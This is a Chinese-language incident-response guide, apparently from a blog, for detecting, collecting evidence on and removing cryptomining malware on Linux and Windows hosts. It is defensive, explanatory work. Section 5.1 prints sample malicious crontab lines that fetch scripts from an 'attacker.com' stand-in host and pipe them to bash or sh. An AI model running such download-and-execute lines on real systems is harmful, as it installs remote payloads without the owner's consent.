挖矿木马应急响应常规处置方法

一、事件背景与典型特征

挖矿木马(Cryptomining Malware)是一类利用受害者计算资源进行加密货币挖掘的恶意程序。其核心特征为CPU/GPU占用率持续异常升高,通常伴随异常外联矿池地址。部分挖矿木马带有蠕虫传播模块,在取得当前主机控制权后,会以该主机为跳板对局域网内其他机器进行漏洞扫描和利用,形成内网横向扩散。

常见入侵途径包括:

  • SSH/RDP弱口令暴力破解
  • Redis未授权访问(6379端口映射公网)
  • 系统漏洞利用(如MS17-010、Struts2等)
  • Web应用漏洞(SQL注入、文件上传等)
  • 下载运行来历不明的破解软件

对应概念:0x02电子取证/系统信息收集/应急响应关键证据检索提取 中的 系统进程检查异常端口查询计划任务检查启动项检查系统用户审查系统日志检查重点文件检查流量检查命令行历史记录服务信息检查安全策略检测hosts文件检查病毒查杀检查


二、隔离被感染的服务器/主机

发现挖矿现象后,在不影响业务的前提下应及时隔离当前服务器/主机。部分带有蠕虫功能的挖矿木马会在内网进行横向传播,隔离的目的是防止感染范围扩大。

2.1 隔离措施

  • 禁止非业务使用端口、服务
  • 配置ACL白名单,仅允许业务必需的IP和端口通信
  • 非重要业务系统建议先下线隔离再做排查
  • 在防火墙层面阻断主机对外的高危端口访问

2.2 隔离阶段的取证要点

隔离操作本身也是取证起点,应同步记录:

  • 隔离时间戳(精确到秒)
  • 隔离前主机业务状态(是否仍在运行、是否有用户在线)
  • 当前网络连接概况(快速 netstat 快照)
  • 当前运行进程概况(快速 top/tasklist 快照)

对应分析概念:0x03取证分析/流量检查结果基础解读与异常模式识别——隔离前的网络快照是后续分析矿池通信、横向传播链路的第一手证据


三、确认挖矿进程(系统进程检查)

将被感染主机做完基本隔离后,需要确认正在运行的挖矿进程。挖矿程序的进程名称一般表现为两种形式:

  • 不规则命名:程序命名为不规则的数字或字母组合(如 kdevtmpfsiksoftirqdxmrig、随机字符串等)
  • 伪装系统进程:伪装为常见进程名(如 systemdkworkerksoftirqdfontdrvhost.exe 等),仅从名称上很难辨别

对应概念:0x02电子取证/系统进程检查0x03取证分析/系统进程检查结果与伪装及LOLBin执行链分析可疑进程树与父子进程异常取证分析

3.1 Linux系统进程排查

top -c
ps aux --sort=-%cpu | head -20
ps -eo pid,ppid,user,%cpu,%mem,stat,start,time,args --sort=-%cpu | head -30

排查要点:

  • CPU占用率最高的进程:无论是看似正常的进程名还是不规则的进程名,只要CPU占用率持续较高都要逐一排查
  • 进程路径是否异常:正常系统进程应在 /usr/bin//usr/sbin//bin//sbin/ 等标准路径下,如果出现在 /tmp//var/tmp//dev/shm/、用户home目录下则高度可疑
  • 父子进程关系是否合理:通过 pstree -p 查看进程树,挖矿进程的父进程如果是 cronbashsh,需要追溯其来源
pstree -p
ls -la /proc/<PID>/exe
cat /proc/<PID>/cmdline
ls -la /proc/<PID>/fd/

对应分析概念:0x03取证分析/系统进程检查结果与伪装及LOLBin执行链分析——需要从路径、父进程、命令行参数、加载模块多维度交叉确认进程的真实身份

3.2 Windows系统进程排查

tasklist /FI "CPU ne 00:00:00" /FO TABLE
wmic process get name,processid,commandline,executablepath /format:list
powershell "Get-Process | Sort-Object CPU -Descending | Select-Object -First 20 Name,Id,Path,CPU"

排查要点:

  • 使用 tasklist /svc 确认 svchost.exe 是否承载了异常服务
  • 使用 wmic 获取完整命令行参数和可执行文件路径
  • 关注路径在 AppDataTempProgramData 下的进程

对应分析概念:0x03取证分析/系统进程检查结果与伪装及LOLBin执行链分析——svchost.exe 正常应位于 C:\Windows\System32\,父进程应为 services.exe,如果路径或父进程不匹配则存在伪装嫌疑

3.3 进程确认后处置

确认挖矿进程后,记录以下信息用于后续证据链构建:

  • 进程PID、进程名、完整路径
  • 进程启动时间、CPU占用率
  • 命令行参数
  • 父进程PID和名称
  • 进程关联的网络连接(下一步用)
kill -9 <PID>
taskkill /F /PID <PID>

四、异常端口与外联目标检查(流量检查)

挖矿木马必须与矿池服务器保持通信才能提交算力结果。因此,异常端口和外部连接是确认挖矿行为和溯源攻击者基础设施的关键证据。

对应概念:0x02电子取证/异常端口查询0x03取证分析/异常端口检查结果与进程关联及外联目标判断分析0x03取证分析/流量检查结果基础解读与异常模式识别

4.1 Linux端口与连接排查

netstat -anpt | grep ESTABLISHED
netstat -anpt | grep -v "127.0.0.1"
ss -antp | grep ESTABLISHED

4.2 Windows端口与连接排查

netstat -ano | findstr "ESTABLISHED"
netstat -ano | findstr "LISTENING"
netstat -abno

4.3 分析要点

对获取到的连接列表,应重点关注:

  1. 矿池常见端口:3333、4444、5555、7777、8888、9999、14444、45700 等
  2. 异常外联IP:将外联IP提交至威胁情报平台(如微步在线、VirusTotal)查询信誉
  3. 连接模式:挖矿木马通常呈现周期性beacon特征——定时连接矿池、提交share、保持心跳
  4. PID关联:将异常连接通过PID反查关联到具体进程,确认是否为已识别的挖矿进程
netstat -anpt | grep <PID>
netstat -ano | findstr "<PID>"

4.4 阻断矿池地址连接

在网络层阻断挖矿木马与矿池的通信:

echo "0.0.0.0 pool.minexmr.com" >> /etc/hosts
echo "0.0.0.0 xmr.pool.com" >> /etc/hosts

或在防火墙层面阻断:

iptables -A OUTPUT -d <矿池IP> -j DROP
route add <矿池IP> mask 255.255.255.255 0.0.0.0

对应分析概念:0x03取证分析/hosts文件检查结果与DNS劫持及内网重定向判断分析——此处修改hosts是作为临时处置手段,后续取证分析中也需要检查hosts文件是否已被攻击者篡改用于DNS劫持


五、持久化机制排查(计划任务、启动项、服务)

大部分挖矿进程为了使程序驻留,会在系统中写入多种持久化机制。如果只清除挖矿进程而不清除持久化点,定时任务会直接执行挖矿脚本或从服务器重新下载挖矿进程,导致挖矿木马反复恢复。

对应概念:0x02电子取证/计划任务检查启动项检查服务信息检查0x03取证分析/自启动项计划任务与服务持久化分析

5.1 计划任务检查

Linux crontab

crontab -l
cat /etc/crontab
ls -la /etc/cron.*
for user in $(cut -f1 -d: /etc/passwd); do echo "--- $user ---"; crontab -u $user -l 2>/dev/null; done

重点检查:

  • 是否存在指向 /tmp//var/tmp//dev/shm/ 的下载或执行任务
  • 是否存在 curlwgetbash -cpython -c 等下载执行链
  • 任务创建时间是否与入侵窗口吻合
  • 是否存在对 /etc/cron.d//etc/cron.daily/ 等目录的可疑文件写入

典型恶意crontab示例:

* * * * * curl -fsSL http://attacker.com/miner.sh | bash
*/5 * * * * wget -qO- http://attacker.com/payload | sh
0 */6 * * * /tmp/.X19-unix/.ksoftirqd

Windows计划任务

schtasks /query /fo LIST /v
powershell "Get-ScheduledTask | Where-Object {$_.State -ne 'Disabled'} | Select-Object TaskName,TaskPath,State,@{N='Actions';E={$_.Actions.Execute}} | Format-List"

重点检查:

  • 任务名是否模仿系统组件(如 WindowsUpdateOneDrive SyncAdobeCheck
  • 动作是否执行 PowerShell 编码命令(-enc/-encodedcommand
  • 任务创建时间是否与入侵窗口接近
  • 检查 C:\Windows\System32\Tasks\ 目录下的可疑任务文件

对应分析概念:0x03取证分析/自启动项计划任务与服务持久化分析——计划任务是攻击者最偏爱的驻留方式之一,需要关注任务名伪装、触发条件、载荷类型,并与入侵时间线交叉比对

5.2 启动项检查

Linux启动项

ls -la /etc/init.d/
ls -la /etc/rc.local
ls -la /etc/systemd/system/
systemctl list-unit-files --type=service | grep enabled
cat /etc/rc.local

Windows启动项

reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce"

或使用 Autoruns 工具进行全面检查:

  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • 启动文件夹
  • Winlogon 键值(Shell、Userinit)

重点检查:

  • 启动项值是否指向 AppDataTempProgramData 等非常驻二进制目录
  • 值名称是否伪装为显卡驱动、输入法、安全组件
  • 命令是否调用 powershell.exe -encwscript.exemshta.exe

对应分析概念:0x03取证分析/启动项检查结果异常判断与入侵关联分析0x03取证分析/自启动项计划任务与服务持久化分析

5.3 服务信息检查

Linux服务

systemctl list-units --type=service --state=running
ls -la /etc/systemd/system/
ls -la /etc/init.d/

Windows服务

sc query type= service state= all
wmic service get name,displayname,pathname,startmode /format:list
powershell "Get-WmiObject Win32_Service | Select-Object Name,DisplayName,PathName,StartMode,State | Format-Table -AutoSize"

重点检查:

  • 服务路径是否指向可疑目录(/tmp/AppDataProgramData
  • 服务名是否伪装为系统服务
  • 服务的 ImagePath 是否包含 cmd /cpowershell 等间接执行链

对应分析概念:0x03取证分析/服务信息检查结果与ImagePath及ServiceDLL驻留分析


六、系统用户审查与后门检查

大部分挖矿木马在感染主机后,会创建后门用户或植入后门文件,以便持续驻留和二次访问。

对应概念:0x02电子取证/系统用户审查0x03取证分析/系统用户检查结果与异常账户及影子账户检测分析

6.1 Linux用户审查

cat /etc/passwd
cat /etc/shadow
awk -F: '$3==0 {print $1}' /etc/passwd
last
lastlog

重点检查:

  • 是否存在新增的UID为0的特权用户
  • 是否存在与root相似的用户名(如 r00troot1rooot
  • /root/.ssh/authorized_keys 是否被写入攻击者的SSH公钥
  • 最近的登录记录是否存在异常IP
cat /root/.ssh/authorized_keys
cat /home/*/.ssh/authorized_keys

6.2 Windows用户审查

net user
net localgroup administrators
wmic useraccount get name,sid,disabled,localaccount /format:list

重点检查:

  • 是否存在新增的隐藏用户(用户名以 $ 结尾)
  • 管理员组是否被添加了异常账户
  • 是否存在影子账户(注册表中 SAM\SAM\Domains\Account\Users 下的异常F项)

对应分析概念:0x03取证分析/系统用户检查结果与异常账户及影子账户检测分析

6.3 其他后门检查

find / -name "*.sh" -mtime -7
find / -perm -4000 -type f
  • 检查是否存在SUID/SGID异常文件
  • 检查是否存在近期新增的脚本文件
  • 检查 ~/.bashrc~/.bash_profile 是否被植入恶意命令

七、重点文件检查与挖矿木马文件定位

7.1 定位挖矿木马文件位置

Linux

ls -la /proc/<PID>/exe
readlink /proc/<PID>/exe
ls -la /proc/<PID>/fd/
cat /proc/<PID>/maps

通过PID反查文件位置后,进一步检查:

file /path/to/malware
md5sum /path/to/malware
sha256sum /path/to/malware
strings /path/to/malware | grep -i "pool\|stratum\|wallet\|coin\|mine"

Windows

tasklist /FI "PID eq <PID>" /V
wmic process where processid=<PID> get executablepath

7.2 文件取证分析

对定位到的挖矿文件进行取证:

  • 文件哈希(MD5/SHA256):提交威胁情报平台查询
  • 文件创建时间、修改时间、访问时间:与入侵时间线交叉比对
  • 文件内容分析:使用 strings 提取矿池地址、钱包地址、配置信息
  • 文件所在目录:检查同目录下是否存在其他可疑文件(配置文件、日志文件、脚本文件)
find /tmp /var/tmp /dev/shm -type f -mtime -7 -ls
find /home -name ".*" -type f -mtime -7

对应分析概念:0x03取证分析/重点文件时间线检查结果与攻击者操作节律分析0x03取证分析/重点目录异常文件与落地载荷关联分析


八、系统日志审计与事件链构建

8.1 Linux日志检查

cat /var/log/auth.log | grep -i "accepted\|failed\|invalid"
cat /var/log/auth.log | grep "sshd"
cat /var/log/secure | grep "sshd"
cat /var/log/syslog | tail -100
cat /var/log/cron | tail -50

重点分析:

  • SSH登录记录:是否存在暴力破解成功的痕迹(大量failed后接accepted)
  • cron执行记录:是否存在异常定时任务的执行日志
  • 系统日志中是否存在异常服务启动

对应分析概念:0x03取证分析/系统日志检查结果证据强度分层与事件链构建分析0x03取证分析/Linux日志时间线分析与SSH入侵溯源

8.2 Windows日志检查

Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624,4625,4688} -MaxEvents 100
Get-WinEvent -FilterHashtable @{LogName='System';ID=7045} -MaxEvents 50
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-TaskScheduler/Operational'} -MaxEvents 50

重点分析:

  • 4624/4625:登录成功/失败事件,检查是否存在RDP暴力破解
  • 4688:进程创建事件,检查是否存在异常进程启动(关注命令行参数)
  • 7045:新服务安装事件,检查是否被植入恶意服务
  • 4698:计划任务创建事件

对应分析概念:0x03取证分析/系统日志检查结果证据强度分层与事件链构建分析0x03取证分析/Windows事件日志狩猎与横向移动溯源

8.3 命令行历史记录

cat /root/.bash_history
cat /home/*/.bash_history

检查是否存在攻击者遗留的命令执行记录,如下载执行、权限提升、横向移动等命令。

对应分析概念:0x03取证分析/命令历史可靠性验证与反取证检测分析


九、其他取证检查项

9.1 流量检查

如果条件允许,应对主机流量进行抓包分析:

tcpdump -i eth0 -w /tmp/capture.pcap host <矿池IP>

分析矿池通信协议(通常为Stratum协议),提取矿池地址、钱包地址、矿池用户名等信息。

对应分析概念:0x03取证分析/流量检查结果基础解读与异常模式识别0x03取证分析/隐蔽C2流量分析与TLS隧道剥离

9.2 hosts文件检查

cat /etc/hosts
type C:\Windows\System32\drivers\etc\hosts

检查hosts文件是否被攻击者修改用于DNS劫持或阻断安全软件更新域名。

对应分析概念:0x03取证分析/hosts文件检查结果与DNS劫持及内网重定向判断分析

9.3 病毒查杀检查

使用多款杀毒引擎对全盘进行扫描,确认是否存在残留的恶意文件:

  • Linux:ClamAV
  • Windows:Windows Defender、火绒、卡巴斯基等

对应分析概念:0x03取证分析/病毒查杀检查结果与多引擎判定差异及Rootkit残留分析

9.4 安全策略检测

iptables -L -n
ufw status
firewall-cmd --list-all
netsh advfirewall show allprofiles
netsh advfirewall firewall show rule name=all

检查防火墙规则是否被攻击者修改,是否存在异常放行规则。

对应分析概念:0x03取证分析/安全策略检查结果与防护绕过及策略篡改判断分析


十、完整清除流程

在完成上述所有取证和排查后,按以下顺序执行清除:

  1. 阻断矿池地址:修改hosts或在防火墙层面阻断矿池通信
  2. 清除定时任务:删除所有可疑的crontab条目和Windows计划任务
  3. 清除启动项:删除可疑的注册表启动项、systemd服务、init.d脚本
  4. 终止挖矿进程kill -9 <PID>taskkill /F /PID <PID>
  5. 删除挖矿文件:定位并删除所有挖矿相关文件(包括配置文件、日志文件)
  6. 清除后门:删除攻击者创建的用户账户、清除异常SSH公钥、删除后门文件
  7. 恢复安全策略:恢复被修改的防火墙规则、系统安全策略
  8. 全盘杀毒:使用多款引擎全盘扫描确认无残留

清除完成后,重启系统并再次检查:

crontab -l
ps aux --sort=-%cpu | head -10
netstat -anpt | grep ESTABLISHED
systemctl list-units --type=service --state=running

十一、证据链构建与事件时间线

完成处置后,应将所有取证结果整合为完整的事件时间线:

时间节点事件证据来源
T0攻击者通过SSH暴力破解/漏洞利用入侵auth.log/Security日志
T1下载挖矿程序bash_history/4688事件
T2写入定时任务/启动项实现持久化crontab/schtasks检查
T3创建后门用户/写入SSH公钥/etc/passwd/authorized_keys
T4挖矿程序开始运行连接矿池netstat/流量分析
T5尝试内网横向传播防火墙日志/内网流量
T6被发现并隔离运维监控/告警

对应分析概念:0x03取证分析/重点文件时间线检查结果与攻击者操作节律分析0x03取证分析/系统日志检查结果证据强度分层与事件链构建分析0x03取证分析/电子证据链记录与分析结论可信度评估


十二、挖矿木马防御建议

  1. 使用强密码:避免使用弱密码,减少被暴力破解的风险。特别是SSH、RDP、数据库等服务,必须使用强密码或密钥认证
  2. 及时打补丁:定期更新系统和软件补丁,修复已知漏洞。重点关注MS17-010、Redis未授权访问、Struts2等高危漏洞
  3. 定期维护服务器:定期检查系统日志、进程、网络连接、计划任务、启动项等,发现异常及时处理
  4. 部署安全防护软件:安装防病毒软件,开启实时监控功能,及时发现和拦截挖矿木马
  5. 网络隔离:合理划分安全域,限制不必要的网络访问,避免挖矿木马在内网大面积传播
  6. 监控CPU使用率:部署服务器性能监控系统,当CPU使用率持续异常升高时及时告警
  7. 最小权限原则:服务运行使用最低权限账户,避免使用root/Administrator直接运行业务
  8. 关闭不必要端口和服务:特别是SSH(22)、Redis(6379)、数据库(3306/1433/5432)等不应直接暴露在公网
  • 链接:https://blog.csdn.net/qq_50765147/article/details/136094740